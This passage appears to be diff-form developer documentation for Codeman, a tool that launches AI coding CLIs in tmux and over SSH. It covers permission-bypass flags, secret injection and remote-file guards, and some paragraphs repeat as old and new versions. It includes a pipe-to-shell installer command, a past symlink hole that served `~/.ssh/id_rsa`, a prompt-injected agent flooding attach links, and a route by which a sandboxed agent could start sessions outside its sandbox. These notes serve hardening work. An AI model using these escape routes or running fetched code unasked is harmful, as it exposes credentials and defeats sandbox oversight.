**External CLI modes (OpenCode, Codex, Gemini, Antigravity, Pi, Grok, DeepSeek, OMP)**: `isExternalCliMode()` in `session.ts` (`mode === 'opencode' || 'codex' || 'gemini' || 'antigravity' || 'pi' || 'grok' || 'deepseek'`) gates Claude-specific behavior — Ralph tracker, BashToolParser, token/CLI-info parsing, and ❯-prompt readiness detection are all skipped (these CLIs render their own TUIs; readiness = output stabilization instead). ⚠️ **Work detection left this gate in #385** and is now per-CLI `capabilities.workDetect` data (`promptGlyph` + `workingLine`), because gating it on the mode left every Codex session reporting `idle` for its entire life; a CLI declaring neither falls back to Claude's pair, which is logic-identical to the pre-registry behaviour. All seven modes **require tmux — no direct PTY fallback** — because secrets are injected via `tmux setenv` (socket-scoped `${this.tmux()} setenv`, never on the spawn command line): OpenCode gets `OPENCODE_CONFIG_CONTENT` etc., Codex gets `OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` (`setCodexEnvVars`), Gemini gets `GEMINI_API_KEY`/`GOOGLE_API_KEY`/`GOOGLE_CLOUD_PROJECT`/`GOOGLE_APPLICATION_CREDENTIALS`/`GOOGLE_GENAI_USE_VERTEXAI` etc. (`setGeminiEnvVars`, all in `tmux-manager.ts`). Codex specifics: command built by `buildCodexCommand()` (`--no-daemon` behind the `noDaemonFlag` gate at 0.162.0, measured against codex's own version, local launches only; `--model`, `--config model_reasoning_effort=<level>` from `reasoningEffort`, `--config sandbox_workspace_write.network_access=true` from `networkAccess` (the **Allow network access** app setting `codexNetworkAccess`, a launch default and a privileged param; ⚠️ with it on, a command in codex's sandbox can call Codeman's API and start a session outside that sandbox, password or not), `--config tui.animations=<bool>` from `animations`, `resume <id>`, `--dangerously-bypass-approvals-and-sandbox` from the `codexConfig` payload / `codexDangerouslyBypassApprovals` app setting; `renderMode` is schema-coerced to `'hybrid'`, the only supported mode). Gemini specifics: command built by `buildGeminiCommand()` (`--skip-trust` always, `--approval-mode <default|auto_edit|yolo|plan>` defaulting to `yolo` for parity with Claude's `--dangerously-skip-permissions`, `--model`, `--resume` from the `geminiConfig` payload); availability via `GET /api/gemini/status` — session/quick-start routes fail with `OPERATION_FAILED` + install hint (`npm install -g @google/gemini-cli`) when missing. Codex, Gemini, Antigravity, Pi, Grok, DeepSeek and OMP export `COLORTERM=truecolor` and unset `NO_COLOR`; `opencode` unsets `COLORTERM`. **Terminal colour env** under Session launch modes covers Claude and says which panes those declarations actually reach. Gemini joins `isAltScreenStripMode()` (Codex/Claude/Gemini are Ink TUIs that repaint inline → strip alt-screen/`3J` so scrollback survives). Codex availability via `GET /api/codex/status`. Antigravity specifics: command built by `buildAntigravityCommand()` (`--model`, `--conversation <id>` resume, `--dangerously-skip-permissions` from the `antigravityConfig` payload); availability via `GET /api/antigravity/status` — routes fail with `OPERATION_FAILED` + install hint (`curl -fsSL https://antigravity.google/cli/install.sh | bash`) when missing. Unlike the other three it is NOT an npm package (standalone binary, `~/.local/bin/agy`), which is why `docker/agent.Dockerfile` installs it with its own `--dir /usr/local/bin` step rather than in the `npm install -g` line, and why it does NOT join `isAltScreenStripMode()`. Frontend: run-mode dropdown → `runCodex()`/`runGemini()` in `session-ui.js` ("Run CX"/"Run GM" labels), App Settings → Agents & CLIs → Codex; Respawn/Ralph options are Claude-only, so session options open on the Session tab for external CLI sessions. ⚠️ `run*()` MUST unwrap the `{success,data}` envelope (`(await res.json()).data.available` / `data.data.sessionId`) — reading the raw shape silently breaks the run. Tests: `test/run-mode-ui.test.ts` + `test/gemini-mode.test.ts` (vm-sandbox harness, no real DOM). Grok specifics: command built by `buildGrokCommand()` (`--always-approve` from `grokConfig.alwaysApprove` — grok's `bypassPermissions` permission mode, deny rules still apply; `--model`; `--resume <id>` / `--continue`, id-regexed so grok's resume-by-TITLE feature can never put an arbitrary string on the spawn line); availability via `GET /api/grok/status`, which carries `version` because the resolver version-probes candidates (`grok` has npm squatters, e.g. @vibe-kit/grok-cli — `GROK_VERSION_REGEX` is shared with the dependency registry so doctor and run mode agree). Like antigravity it is a standalone binary (xAI installer → `~/.grok/bin`, symlinked into `~/.local/bin`), so `docker/agent.Dockerfile` installs it in its own step (copy to `/usr/local/bin`, drop root's `~/.grok` in the same layer) and it stays OUT of `isAltScreenStripMode()` (fuLine truncated
**DeepSeek Harness (`dsh`) specifics** — the mode that breaks three of the assumptions the six above share, so read this before changing anything about it.
@@ -61,7 +61,7 @@ Pure helpers unit-tested in `test/base-path.test.ts` + `test/webview-proxy.test.
Model is NOT a session field: it is a composition entry in the profile's config tree (`agent-default-model`), configured in `~/.dsh/settings.yaml` + `cordis.patch.yml`, so both create paths deliberately resolve no model for this mode. Env allowlist: `DSH_*` + `DEEPSEEK_*`; provider keys named by a settings-file `apiKeyEnv` stay OUT, which is pi's 34-provider-key problem in a new shape and gets the same answer. Docker seeds `~/.dsh` per-file (`.env`, `settings.yaml`, `cordis.patch.yml`) and the image installs its OWN profile, because `profiles/` is a per-profile `node_modules` tree — host-arch-specific and far too large to copy per container start. Stays OUT of `isAltScreenStripMode()` (third-party fullscreen TUI — the opencode case, i.e. `isMuxMouseStripMode` is the shape to measure here too). ⚠️ `classifyProfile()` reads the profile's BUNDLES, and "unknown means launchable" is deliberate (anyone can publish an app bundle), but it has one knowably-wrong case: `readProfile()` returns an empty bundle list for a `package.json` with no `dsh.profile.bundles`, which made the SHIPPED `web`/`headless` profiles look third-party and launchable. The directory name is therefore consulted as a LAST resort (`STOCK_NON_INTERACTIVE_PROFILES`), after the bundle patterns, so real bundle evidence always wins over a name the user chose. The loose `tui` arm carries word boundaries for the same reason: it decides which profile boots by default, and matching the middle of `intuition` is not a rule anyone could predict. ⚠️ The generated shim is written **temp + rename**, not in place: the TUI can be exec'ing that exact path while an upgraded Codeman refreshes it, and a half-written file is a syntax error the caller then retries four times per state change forever. Bump `SHIM_VERSION` whenever `SHIM_SOURCE` changes, or an existing shim keeps matching the embedded marker and is never refreshed. Availability via `GET /api/deepseek/status`, the widest per-CLI status shape (`available`/`runnable`/`path`/`version`/`dshHome`/`defaultProfile`/`profiles`); `POST /api/deepseek/install-profile` bootstraps a profile and is the only endpoint in Codeman that installs third-party code — regex-confined specifier, argv-array spawn, privileged grant required in multi-user mode, and the held-open request is bounded by a HAND-ROLLED timeout over a `detached: true` process group (negative-pid SIGTERM→SIGKILL, as `runGit()` does in git-clone.ts). ⚠️ Node's own `spawn` `timeout` is NOT enough: a plugin install fans out into package-manager children, the built-in timeout signals only the direct child, and the survivors hold the inherited stdio pipes open so `close` never fires and the request leaks forever. User guide: `docs/deepseek-integration.md`. Tests: `test/deepseek-mode.test.ts`, `test/deepseek-cli-resolver.test.ts`.
**Pi specifics** (#206, `docs/pi-integration.md`): command built by `buildPiCommand()` (`--model` — the only builder whose model regex admits `:` and `/`, for `sonnet:high` and `openai/gpt-4o` — plus `--provider`, `--thinking`, `--session <id>` / `-c`, and the TRI-STATE `--approve`/`--no-approve`). ⚠️ **Pi has no permission prompts and no sandbox**, so there is no `--dangerously-skip-permissions` analog and Codeman must not invent one; the privilege-shaped knob is `approveProjectTrust`, which makes pi LOAD AND EXECUTE repo-local `.pi/extensions` TypeScript and npm-install missing project packages. It therefore joins `clampExternalCliBypassForOwner()`'s **materialize** branch (gemini's, not codex/antigravity's only-if-sent one): an absent config still yields `--no-approve` for a non-granted owner, because pi's own default is an interactive prompt the session user could answer themselves. ⚠️ `--api-key` is NEVER wired — it would put a provider secret on the spawn command line. ⚠️ Pi stays **out** of `isAltScreenStripMode()`: its default TUI renders into the main screen with terminal-owned scrollback (nothing to strip), and since 0.84.0 the user can flip to a fullscreen TUI at runtime via `/settings`, where the alt screen is load-bearing — being out of the list is exactly what makes that switch safe. ⚠️ Only the `PI_*` env prefix was added; pi's ~34 provider keys share no prefix and `ALLOWED_ENV_PREFIXES` is a single GLOBAL list with no mode context, so admitting them would widen the allowlist for every mode at once (a mode-aware allowlist is the tracked follow-up). ⚠️ `pi` is a short, GENERIC binary name, so unlike the sibling resolvers `pi-cli-resolver.ts` sanity-probes `pi --version` (cached, vitest-skipped) and requires semver-shaped output; `GET /api/pi/status` carries `version` on top of the sibling `{available, path}` shape so a misresolution is diagnosable. Local echo: pi lands on the `'buffer'` overlay via the fallthrough in `_updateLocalEchoState` (pinned in `test/local-echo-codex-gating.test.ts`); if pi's live composer turns out to fight it the way codex's did, the fallback is one `'off'` branch. Tests: `test/pi-mode.test.ts`, `test/routes/external-cli-bypass-clamp.test.ts` (first-ever coverage of the clamp).
**Pi specifics** (#206, `docs/pi-integration.md`): command built by `buildPiCommand()` (`--model` — the only builder whose model regex admits `:` and `/`, for `sonnet:high` and `openai/gpt-4o` — plus `--provider`, `--thinking`, `--session <id>` / `-c`, and the TRI-STATE `--approve`/`--no-approve`). ⚠️ **Pi has no permission prompts and no sandbox**, so there is no `--dangerously-skip-permissions` analog and Codeman must not invent one; the privilege-shaped knob is `approveProjectTrust`, which makes pi LOAD AND EXECUTE repo-local `.pi/extensions` TypeScript and npm-install missing project packages. It therefore joins `clampExternalCliBypassForOwner()`'s **materialize** branch (gemini's, not codex/antigravity's only-if-sent one): an absent config still yields `--no-approve` for a non-granted owner, because pi's own default is an interactive prompt the session user could answer themselves. ⚠️ `--api-key` is NEVER wired — it would put a provider secret on the spawn command line. ⚠️ Pi stays **out** of `isAltScreenStripMode()`: it takes the mouse strip instead, because its TUI is fullscreen by default since 1.0.0 (`tuiMode`) and inline with terminal-owned scrollback under `tuiMode: regular`, the default below 1.0.0, so the full strip's `3J` removal would have no owner in the second shape. See "Pi is the same shape" in the scrollback section. ⚠️ Only the `PI_*` env prefix was added; pi's ~34 provider keys share no prefix and `ALLOWED_ENV_PREFIXES` is a single GLOBAL list with no mode context, so admitting them would widen the allowlist for every mode at once (a mode-aware allowlist is the tracked follow-up). ⚠️ `pi` is a short, GENERIC binary name, so unlike the sibling resolvers `pi-cli-resolver.ts` sanity-probes `pi --version` (cached, vitest-skipped) and requires semver-shaped output; `GET /api/pi/status` carries `version` on top of the sibling `{available, path}` shape so a misresolution is diagnosable. Local echo: pi lands on the `'buffer'` overlay via the fallthrough in `_updateLocalEchoState` (pinned in `test/local-echo-codex-gating.test.ts`); if pi's live composer turns out to fight it the way codex's did, the fallback is one `'off'` branch. Tests: `test/pi-mode.test.ts`, `test/routes/external-cli-bypass-clamp.test.ts` (first-ever coverage of the clamp).
**OMP (`omp`, Oh My Pi) specifics** (`docs/omp-integration.md`): architecturally the simplest of the family — omp owns its own auth, provider routing, and trust decisions entirely in `~/.omp` config files (default `tools.approvalMode: yolo`), so `buildOmpCommand()` only ever emits `--model`/`--resume <id>`/`--continue`, and there is no bypass-permissions flag for Codeman to wire or clamp. ⚠️ **That does NOT make the multi-user clamp a no-op**: `OMP_*` is an allowlisted `envOverrides` prefix and admits `OMP_AUTH_BROKER_URL`/`OMP_AUTH_BROKER_TOKEN` (where omp resolves credentials from), both dropped for a non-granted owner in `clampEnvOverridesForOwner()` — the same shape as `DEEPSEEK_BASE_URL` — even though, unlike DeepSeek, Codeman forwards no operator-held key into an omp pane today (found in Ark0N/Codeman#353 review). `--continue` alone is ambiguous the moment any other omp conversation has touched the same working directory more recently, since it just picks the newest session file on disk — `resolveAndClaimOmpSessionId()` (`src/utils/omp-session-resolver.ts`) resolves and PINS the real id instead, verifying each candidate's own file header (`{"type":"session","id",cwd"}`, not just the mangled-directory match) and tracking already-claimed ids in a process-wide registry so two omp tabs in the same case dir can't alias onto each other's conversation. ⚠️ Resolution/pinning happens ONLY at the point a respawn is actually confirmed (`_pinOmpRespawnId()`, called from `_setupOrAttachMuxSession()`'s dead-pane branch and `reattachRemote()`) — earlier code resolved eagerly while merely building respawn options, which could mis-pin a still-ALIVE session's id purely from boot-recovery timing. `src/omp-transcript.ts` independently scans `~/.omp/agent/sessions/**/*.jsonl` for Past Sessions history, the omp analog of Claude's own transcript scan, so a conversation survives even a full "Kill Tmux". ⚠️ omp's own env knobs are mostly `PI_*`, not `OMP_*` (`PI_CONFIG_DIR`, `PI_CODING_AGENT_DIR`, `PI_CODING_AGENT_SESSION_DIR`, `PI_SUBPROCESS_CMD`, `PI_SHELL_PREFIX`), and `PI_*` is already allowlisted globally for pi — so a redirected `PI_CONFIG_DIR` silently moves the `~/.omp` tree the resolver and transcript scanner hardcode, degrading pinning/history with no error; a known gap shared with pi, not fixed here. ⚠️ Docker: `appendResumeFlag()`'s `case 'omp'` keys off the top-level `resumeSessionId`, which Docker panes never receive for omp (built from `defaultDockerCommandForMode`, with no `ompConfig` threaded through) — host-side history recovery and pinning work through the shared `sessions/` mount, but `--resume` does not currently reach an in-container omp process on respawn (flagged in review, not yet fixed). Stays out of `isAltScreenStripMode()` (narrow scrollback strip, alt-screen toggles only) and lands on the `'buffer'` local-echo policy via the `_updateLocalEchoState` fallthrough, same as grok and pi. Resolver: `omp-cli-resolver.ts` version-probes like pi/grok (`omp` is a short, generic name) and requires `omp/<semver>`-shaped output; `OMP_SEARCH_DIRS` leads with `~/.local/bin` (omp.sh's installer targets `$HOME/.local/bin` with no `--dir` override — verified against a real `--no-cache` Docker build, `~/.omp/bin` was the wrong first guess). Tests: `test/omp-mode.test.ts`, `test/omp-cli-resolver.test.ts`, `test/omp-session-resolver.test.ts`, `test/omp-fresh-run-no-resume.test.ts`.
@@ -81,20 +81,38 @@ OMP's registry entry declares `privilegedParams: []` and a launch spec that only
Further detail: ⚠️ **Auto-reconnect revives ONLY when the durable remote tmux session is verifiably still alive** (`remoteTmuxSessionAlive()`, a `has-session` probe over ssh, #355): a clean agent exit (Ctrl-C, Ctrl-D, `exit`) tears that session down, and `isPaneDead()` cannot tell it from a transport drop, so the watcher used to relaunch a FRESH agent after every clean exit (claude only looked fine because its `|| --resume` fallback masked it). An unreachable host answers `undefined`, which also means do not revive. ⚠️ `has-session` prints NOTHING on success, so the probe is classified by EXIT STATUS (`classifyRemoteAliveExit`: 0 alive, ssh's 255 or a timeout unknown, anything else gone); reading stdout classified every live session as gone and silently disabled transport-drop reconnects. The answer is cached per session and forgotten whenever the pane is seen alive again, or a stale `true` from one transport drop would revive the next clean exit.
⚠️ The image watcher never watches a remote session's `workingDir` (a path on the remote host, which it would watch on the LOCAL disk): every call site that starts a watch skips `session.remote` (`setupSessionListeners()`, the app-wide toggle in `PUT /api/settings`, and `POST /api/sessions/:id/image-watcher`, which refuses `enabled: true` with `INVALID_INPUT`), so a new call site must too. File reads in a remote case are the second ssh surface (see Remote SSH cases below). The reason writes, office previews and thumbnails are deliberately unsupported over ssh is that no remote file is ever copied onto the server's disk. ssh children are bounded because terminal output in a remote session is written on the remote host, so a prompt-injected agent there can print hundreds of `codeman://attach` links. The third surface is a remote session's full-history load, which reads the scrollback from the remote tmux (`src/remote-pane-history.ts`) through the same limiter, with a bounded slot wait (`maxWaitMs`) since the local capture is its fallback.
⚠️ The image watcher never watches a remote session's `workingDir` (a path on the remote host, which it would watch on the LOCAL disk): every call site that starts a watch skips `session.remote` (`setupSessionListeners()`, the app-wide toggle in `PUT /api/settings`, and `POST /api/sessions/:id/image-watcher`, which refuses `enabled: true` with `INVALID_INPUT`), so a new call site must too. File reads in a remote case are the second ssh surface (see Remote SSH cases below). The reason writes, office previews and thumbnails are deliberately unsupported over ssh is that no remote file is ever copied onto the server's disk; the one exception is the Edit history store, which keeps the diffs parsed from a remote session's transcripts under `dataPath('edit-history')` (see [Edit history panel](#edit-history-panel)). ssh children are bounded because terminal output in a remote session is written on the remote host, so a prompt-injected agent there can print hundreds of `codeman://attach` links. The third surface is a remote session's full-history load, which reads the scrollback from the remote tmux (`src/remote-pane-history.ts`) through the same limiter, with a bounded slot wait (`maxWaitMs`) since the local capture is its fallback.
### Remote SSH cases
**Remote host wake-on-LAN from user input**: an optional `RemoteHost.wakeMac` (magic packet built and broadcast by Codeman) or `RemoteHost.wakeCommand` (a single executable path, run WITHOUT a shell, and the explicit override) lets the input route — and an explicit `POST /api/sessions/:id/wake` — wake a SLEEPING host instead of writing into a stalled ssh pane; `tmux send-keys` succeeds against a stalled pane, so the bytes used to vanish silently. The wake flow lives in `src/remote-wake.ts` and is reachable **only** from an EXPLICIT user request: `POST /api/sessions/:id/input`, that explicit wake route, and the create/attach path (`POST /api/quick-start` for a remote case, `POST /api/sessions` with `attachRemoteSession`, via `ensureHostAwake`), because "the user pressed Run on a sleeping host" is the same kind of request and the tmux probe would otherwise fail with a misleading "needs tmux installed". Everything TIMER-driven must never wake a host: the COD-108 auto-reconnect watcher, `Server.handleRemoteSessionDropped` and boot recovery have no access to the registry, or a host would be re-woken seconds after each suspend and could never stay asleep (asserted by wiring guards in `test/remote-wake.test.ts`, not just documented — including that `ensureHostAwake` is called from the HTTP route only, since `cron-service.ts` builds sessions through the shared service with nobody waiting on the answer). `GET /api/sessions/:id/reachability` only ASKS — it never wakes — and feeds the amber "host unreachable" banner (`host-wake-ui.js`) whose action is either Wake or, with no target configured, "Configure WoL" → `#wakeConfigModal` (saved via `PUT /api/remote-hosts/:id`). Detection is a throttled bare TCP probe (no ssh, no `ServerAliveInterval` — keepalives would move bytes into an idle connection every interval; and a host behind a jump host/SOCKS proxy is reachability-UNKNOWN, never "asleep": `isProbeable()` keeps the registry from buffering, gating or bannering on a probe that cannot reach it), input is buffered and flushed in order after `reattachRemote()` (the send-and-wait path blocks instead, as does the create path, with a shorter request budget), and the wake fields are re-read from `remote-hosts.json` on recovery AND (throttled, cached) live for a running session, because the persisted `remote` snapshot would never see a field added later (`rehydrateRemoteHostFields` + `RemoteWakeDeps.resolveRemote`). Design + invariants: `docs/remote-sessions.md` §Wake-on-LAN from user input.
**Remote SSH cases** (COD-94/#145): cases can point at a **remote host** (`~/.codeman/remote-hosts.json` + `remote-cases.json` via `src/remote-hosts.ts`; CRUD under `/api/cases` — cases route file). A remote session launches a LOCAL tmux pane running `ssh <host>` that creates a durable REMOTE tmux session on a **dedicated socket** `-L codeman-remote` with name `codeman-ssh-<id>` — deliberately failing the remote Codeman's `SAFE_MUX_NAME_PATTERN` so a Codeman instance on the target host never adopts it; no `-g` global tmux options are set remotely. `remotePath`/`identityFile` are schema-guarded against shell injection (backticks/`$` rejected — same approach as `extraSshOptions`); remote tmux availability is probed via `checkRemoteTmuxAvailable()` in quick-start (ssh args carry `-o ConnectTimeout=10`). Remote claude defaults to an idempotent `claude --session-id <id> || claude --resume <id>` pair under a login shell, so a respawn or reattach continues the SAME conversation rather than starting a fresh one (remote omp gets the same treatment via `--continue`; ⚠️ because the claude arm is an `a || b` pair under `-c`, that pane's PID is the login shell, not the agent); per-host `commands.*` override. Session kill best-effort kills the remote tmux too. `SessionState.remote`/`MuxSession.remote` round-trip through recovery (`restoreMuxSessions` passes `remote` back into the Session constructor). ⚠️ Run flows must route remote cases through `POST /api/quick-start` (which resolves the remote case and skips LOCAL CLI availability gates) — `POST /api/sessions` stat-validates `workingDir` locally and has no `caseName`. `envOverrides`/`effort`/`modelOverride`/`codexConfig`/`geminiConfig` are rejected for remote quick-starts (not silently dropped). UI: Create Case modal → Remote tab. Tests: `test/remote-hosts.test.ts`, `test/remote-ssh-options.test.ts`. ⚠️ **Reading a file in a remote case goes over ssh too** (#415): `src/remote-files.ts` is the single remote-READ layer (`buildRemoteFileCommand` = `buildSshConnectionArgs` + one shellescaped remote command; `remoteProbePaths` returns remote realpath + stat; `remoteCreateReadStream` streams a `Range` via `tail -c +N | head -c L` and its `close()` must be wired to the response's `close` or the ssh child outlives an aborted download). The guard order matches the local path exactly (`validateSessionFilePathLexical` → remote realpath of BOTH file and workspace root → containment → sensitive-path → size cap on the REMOTE size), a request path arrives from the browser and is only ever interpolated as a `shellescape`d token, and an unreachable host answers **502**, never a 404. ⚠️ The probe's symlink resolution FAILS CLOSED: `readlink -f` where it exists, otherwise a `cd -P`/`pwd -P` directory walk plus a bounded plain-`readlink` loop over the last component, and anything it cannot fully resolve is reported unresolvable (404), never as the unresolved string — the first version resolved the directory chain only, so on a host without `readlink -f` a `ws/notes.txt -> ~/.ssh/id_rsa` link passed containment under its own path while `cat` served the key. Records are NUL-separated and index-keyed so a newline in a filename cannot shift the mapping. ⚠️ ssh children are BOUNDED: probes and buffered reads go through `src/remote-ssh-limiter.ts` (a `document-conversion-limiter`-shaped semaphore, default 4), the attachment-history list probes its whole history in ONE batched call (`probeRemoteAttachmentHistory`, threaded into `registerExternalAttachment({remoteProbes})`), and probes chunk at 40 paths — a prompt-injected agent printing `codeman://attach` links in a remote session used to fork one `ssh` per link. `describeExecError` never returns Node's `Command failed: <ssh line>` message (identity path + probe script in a 502 body). The `PUT /file-content` guard sits AHEAD of `validateSessionFilePath`, which resolves LOCALLY, or a same-named local directory (an sshfs mount) takes the write. Under `VITEST` the three IO functions refuse rather than connect. This covers the ATTACHMENT routes too, which is the half a clicked path needs when the file is OUTSIDE the case directory (`_isExternalPreviewPath` sends it to `POST …/attachments`): registration, by-id `raw`, metadata and the history list all resolve over ssh (`registerExternalAttachment({remote})`, `resolveServableRemoteAttachment`), and what decides the host is the SESSION, never the path string — the same absolute path means a different file on each host. Deliberately NOT supported over ssh: writes (`edit=1`/`PUT` answer 400, `editable` is always false), office previews/thumbnails, the file tree/picker, `tail-file`. The Ralph file routes follow the same rules (`ralph-routes.ts`): `POST .../fix-plan/read` reads `@fix_plan.md` on the remote host through `remote-files.ts` (one probe of the file and the workspace, confined with the shared `isPathWithinRoot`, capped at 1 MB; missing or outside theLine truncated
**Remote SSH cases** (COD-94/#145): cases can point at a **remote host** (`~/.codeman/remote-hosts.json` + `remote-cases.json` via `src/remote-hosts.ts`; CRUD under `/api/cases`, cases route file). A remote session launches a LOCAL tmux pane running `ssh <host>` that creates a durable REMOTE tmux session on a **dedicated socket** `-L codeman-remote` with name `codeman-ssh-<id>`, deliberately failing the remote Codeman's `SAFE_MUX_NAME_PATTERN` so a Codeman instance on the target host never adopts it; no `-g` global tmux options are set remotely. `remotePath`/`identityFile` are schema-guarded against shell injection (backticks and `$` rejected; `extraSshOptions` refuses backticks and `$(` only, so a bare `$` passes there and reaches `ssh` as those literal characters); remote tmux availability is probed via `checkRemoteTmuxAvailable()` in quick-start (ssh args carry `-o ConnectTimeout=10`). Remote claude defaults to an idempotent `claude --session-id <id> || claude --resume <id>` pair under a login shell, so a respawn or reattach continues the SAME conversation rather than starting a fresh one (remote omp gets the same treatment via `--continue`; ⚠️ because the claude arm is an `a || b` pair under `-c`, that pane's PID is the login shell, not the agent); per-host `commands.*` override. Session kill best-effort kills the remote tmux too. `SessionState.remote`/`MuxSession.remote` round-trip through recovery (`restoreMuxSessions` passes `remote` back into the Session constructor). ⚠️ Run flows must route remote cases through `POST /api/quick-start` (which resolves the remote case and skips LOCAL CLI availability gates): `POST /api/sessions` stat-validates `workingDir` locally and has no `caseName`. `envOverrides`/`effort`/`modelOverride`/`codexConfig`/`geminiConfig` are rejected for remote quick-starts (not silently dropped). UI: Create Case modal → Remote tab. Tests: `test/remote-hosts.test.ts`, `test/remote-ssh-options.test.ts`. ⚠️ **Reading a file in a remote case goes over ssh too** (#415): `src/remote-files.ts` is the single remote-READ layer (`buildRemoteFileCommand` = `buildSshConnectionArgs` + one shellescaped remote command; `remoteProbePaths` returns remote realpath + stat; `remoteCreateReadStream` streams a `Range` via `tail -c +N | head -c L` and its `close()` must be wired to the response's `close` or the ssh child outlives an aborted download). The guard order matches the local path exactly (`validateSessionFilePathLexical` → remote realpath of BOTH file and workspace root → containment → sensitive-path → size cap on the REMOTE size), a request path arrives from the browser and is only ever interpolated as a `shellescape`d token, and an unreachable host answers **502**, never a 404. ⚠️ The probe's symlink resolution FAILS CLOSED: `readlink -f` where it exists, otherwise a `cd -P`/`pwd -P` directory walk plus a bounded plain-`readlink` loop over the last component, and anything it cannot fully resolve is reported unresolvable (404), never as the unresolved string: the first version resolved the directory chain only, so on a host without `readlink -f` a `ws/notes.txt -> ~/.ssh/id_rsa` link passed containment under its own path while `cat` served the key. Records are NUL-separated and index-keyed so a newline in a filename cannot shift the mapping. ⚠️ ssh children are BOUNDED: probes and buffered reads go through `src/remote-ssh-limiter.ts` (a `document-conversion-limiter`-shaped semaphore, default 4), the attachment-history list probes its whole history in ONE batched call (`probeRemoteAttachmentHistory`, threaded into `registerExternalAttachment({remoteProbes})`), and probes chunk at 40 paths: a prompt-injected agent printing `codeman://attach` links in a remote session used to fork one `ssh` per link. `describeExecError` never returns Node's `Command failed: <ssh line>` message (identity path + probe script in a 502 body). The `PUT /file-content` guard sits AHEAD of `validateSessionFilePath`, which resolves LOCALLY, or a same-named local directory (an sshfs mount) takes the write. Under `VITEST` the three IO functions refuse rather than connect. This covers the ATTACHMENT routes too, which is the half a clicked path needs when the file is OUTSIDE the case directory (`_isExternalPreviewPath` sends it to `POST …/attachments`): registration, by-id `raw`, metadata and the history list all resolve over ssh (`registerExternalAttachment({remote})`, `resolveServableRemoteAttachment`), and what decides the host is the SESSION, never the path string: the same absolute path means a different file on each host. Deliberately NOT supported over ssh: writes (`edit=1`/`PUT` answer 400, `editable` is always false), office previews/thumbnails, the file tree/picker, `tail-file`. The Ralph file routes follow the same rules (`ralph-routes.ts`): `POST .../fix-plan/read` reads `@fix_plan.md` on the remote host through `remote-files.ts` (one probe of the file and the workspace, confined wiLine truncated
**Remote tmux PATH**: every SSH command that invokes or locates tmux uses `withRemoteTmuxPath()` (`remote-hosts.ts`) before the complete remote script is shell-escaped: link preflight, launch/attach, alive probes, discovery, history/screen capture, and cleanup. Non-interactive SSH shells can omit Homebrew and per-user binaries even when the user's interactive shell finds them. The wrapper double-quotes the exported PATH value (including inherited PATH) so homes with spaces work under dash; it leaves the existing SSH options, socket/target and inner CLI login-shell handling intact. tmux gives a new pane the PATH of the client that created it (measured on tmux 3.4), so every new remote pane, agent or shell, now starts on the widened PATH before its login shell runs. Keep new remote tmux operations on this same path. `test/remote-tmux-path.test.ts` exercises all builders under real sh/dash with a sparse PATH and a home containing spaces, using offline SSH/tmux stubs. Local and Docker tmux commands keep their own setup.
**Remote tmux PATH**: every SSH command that invokes or locates tmux uses `withRemoteTmuxPath()` (`remote-hosts.ts`) before the complete remote script is shell-escaped: link preflight, launch/attach, alive probes, discovery, history/screen capture, and cleanup. Non-interactive SSH shells can omit Homebrew and per-user binaries even when the user's interactive shell finds them. The wrapper double-quotes the exported PATH value (including inherited PATH) so homes with spaces work under dash; it leaves the existing SSH options, socket/target and inner CLI login-shell handling intact. tmux gives a new pane the PATH of the client that created it (measured on tmux 3.4), so every new remote pane, agent or shell, now starts on the widened PATH before its login shell runs. ⚠️ The bootstrap only works if it reaches the far end verbatim, so a remote launch, and an adopted ssh attach with it, goes to the local `bash -c` single-quoted (`bashCArg()` in tmux-manager.ts): in double quotes the local `sh` expanded `$HOME` and `$PATH` on this host first, and a remote user with another home found no tmux (#760, exit 127). ⚠️ Codeman's stock pane text is POSIX (`"${SHELL:-/bin/sh}"`), so it goes to `/bin/sh -c` as separate tmux arguments: tmux runs a ONE-argument command through the remote default-shell and exec's two or more directly (measured on 3.4), and fish refuses `${…}` with status 127. A `commands.*` override stays one argument, since it is the user's text for their own shell. `test/remote-pane-command-shell.test.ts` pins that split without needing fish. Keep new remote tmux operations on this same path. `test/remote-tmux-path.test.ts` exercises all builders under real sh/dash with a sparse PATH and a home containing spaces, using offline SSH/tmux stubs. Local and Docker tmux commands keep their own setup.
Further wake-on-LAN detail: the wiring guards in `test/remote-wake.test.ts` are two; the second also pins that `server.ts` holds the registry for its LIFETIME only (`drop` on cleanup, `stop` on shutdown) and never calls a waking method. The create wake is wired in the route rather than the shared session service for exactly the no-timer-wakes reason. No `ServerAliveInterval`, because keepalives move bytes into an idle connection every interval and that is what a byte-threshold idle detector must not read as activity. For a host behind `jumpHost`/`socksProxy`/a `ProxyCommand` option, the probe connects to `host:port`, which such a host does not answer even while ssh works; the registry never gates create/attach on it (`'unprobeable'`), and `/reachability` answers `reachable: null, probeable: false`. The banner keys on a PROVEN `false`, and the banner's 30 s poller runs only for a host with a wake target (a timer connecting to a host Codeman cannot wake is the same timer-driven traffic the keepalive rule forbids).
Input arriving during a wake is buffered: a chunk over 4 KB is dropped whole, never delivered as a fragment, and the route answers `{buffered:true}` / `{buffered:true, dropped:true}` so the caller can tell. It is flushed in order after `reattachRemote()` with `fromUser`; a flush write that fails drops the rest (logged) rather than retaining it for a wake hours later. Send-and-wait blocks instead and answers `OPERATION_FAILED` when the host never returns. ⚠️ In multi-user mode the attach path 403s a non-admin BEFORE the host is looked up: the wake runs an executable, and remote hosts are admin-only infra everywhere else. ⚠️ Browser keystrokes travel over the WebSocket, which deliberately does NOT pass through the registry (that is the hot path), so only the HTTP input path ever queues anything; the banner must not promise queued input for the Wake button. A request that waits on the wake (create/attach, and the button) uses the 40 s `REMOTE_WAKE_REQUEST_READY_TIMEOUT_MS`, not the 90 s session default, because the dashboard's reverse proxy cuts a request at its own 60 s `proxy_read_timeout`. The `remote:` SSE family is session-scoped in multi-user mode; a create/attach wake names its requester (`username`) since it has no session yet. `remote-wake.ts` refuses real IO under `VITEST` like `remote-files.ts`.
### Adopted foreign tmux sessions
**Adopted sessions** (#510; `src/foreign-tmux.ts` pure, `src/foreign-tmux-discovery.ts` transport, `foreign-sessions.js`, `GET /api/mux/foreign`, `POST /api/sessions/adopt`): a tmux session a human started is listed on the home screen, and one click wraps it in a tab. Like remote-SSH and Docker it is a **LOCATION OVERLAY**, never a `SessionMode`: `Session.adopt` carries the connection, the mode comes from a bounded walk of the pane's process tree, and `Session.isAdopted` asks who launched the process, a different question from `isExternalCliMode()`, which is why the two are never folded together.
